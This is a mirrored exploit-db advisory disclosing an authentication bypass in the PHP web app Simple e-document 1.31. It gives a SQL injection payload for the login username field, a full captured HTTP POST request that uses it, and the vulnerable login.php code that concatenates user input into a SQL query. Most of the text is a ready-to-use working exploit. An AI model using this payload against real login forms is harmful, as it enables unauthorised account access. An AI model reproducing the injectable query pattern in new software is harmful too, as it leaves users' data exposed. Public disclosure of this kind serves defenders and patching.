Simple E-document 1.31 – Authentication Bypass - 体验盒子

作者： vinicius777

日期： 2014-01-23

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/31142/

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##########################################################################

[+] Exploit: Simple e-document v1.31 Login Bypass#

[+] Author: vinicius777 #

[+] Contact: vinicius777 [AT] gmail @vinicius777sec#

[+] version: Simple e-document v1.31 #

[+] Vendor Homepage: http://sourceforge.net/projects/simplee-doc/files/ #

##########################################################################

[1] Sql Injection on username field

PoC: username=-4731' OR (2708=2708)#

# Burp output

POST /simple_e_document_v_1_31/login.php HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://localhost/simple_e_document_v_1_31/index.php

Cookie: username=-4731%27+OR+%282708%3D2708%29%23; access=3; __atuvc=3%7C3; res_session=5mYRbQ67qPN3Zx%2FH%2FPKLDcSgbu3FmjzVAfezt0G0Hapsi7GRhIzlauDhsVpWaAeOu8MAa2wkiyHTT%2BGemuchDNMd1kQYMKbXSp6MFx8BS6A05M%2FIxw0vP2XGGDE5iSzrDERGO6QQa4pOXRjpMD4aYL8%2BQPCj98JZrngcZnhoEFWekObo5EWdnnuhg8zpmWL26dMuzY9uPu%2BO60BwSiVU0CCrFKxc5lMkSH%2BE9%2FwxI4XQpVE%2Bb9X4StmPGMMiZ1it0mJcChZdz4Mku1WJcOrzLVN0RYZYIvARwBiMXdGf%2Bvpw%2F0MHPP09fBv0PRgNI4XAI9apbQ7RLlxK6LneiNaR0epLS1YQiRpucBxtI0AiKofvOK5THZM6KSenIxsqUsrSxtff6eic0prlZb%2Fvl%2B3unAIgFdcAREUhQZ6lytABxA3CRMuZUmb2lyU7cWb%2FnyhQ9BtCXtfSTrdJze6JIFxsFg%3D%3D; __utma=111872281.1068821941.1389863798.1389863798.1389863798.1; __utmz=111872281.1389863798.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ck_login_id_20=1; ck_login_language_20=en_us; ck_login_theme_20=Sugar5; ws_session=cbm4nhtn24jn9mhfvbjimjjl55; PHPSESSID=unqjr3tdi0tbgl3if801atjhl7

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 73

username=-4731%27+OR+%282708%3D2708%29%23&password=&op=login&Submit=Login

Vulnerable Code:

[+] login.php

$username= stripslashes($_POST['username']);

$password= stripslashes($_POST['password']);

$r_password = md5($password);

$sql = "SELECT * From edocphp_users WHERE username='$username' AND password ='$r_password'";

#

# Greetz to g0tm1lk and TheColonial.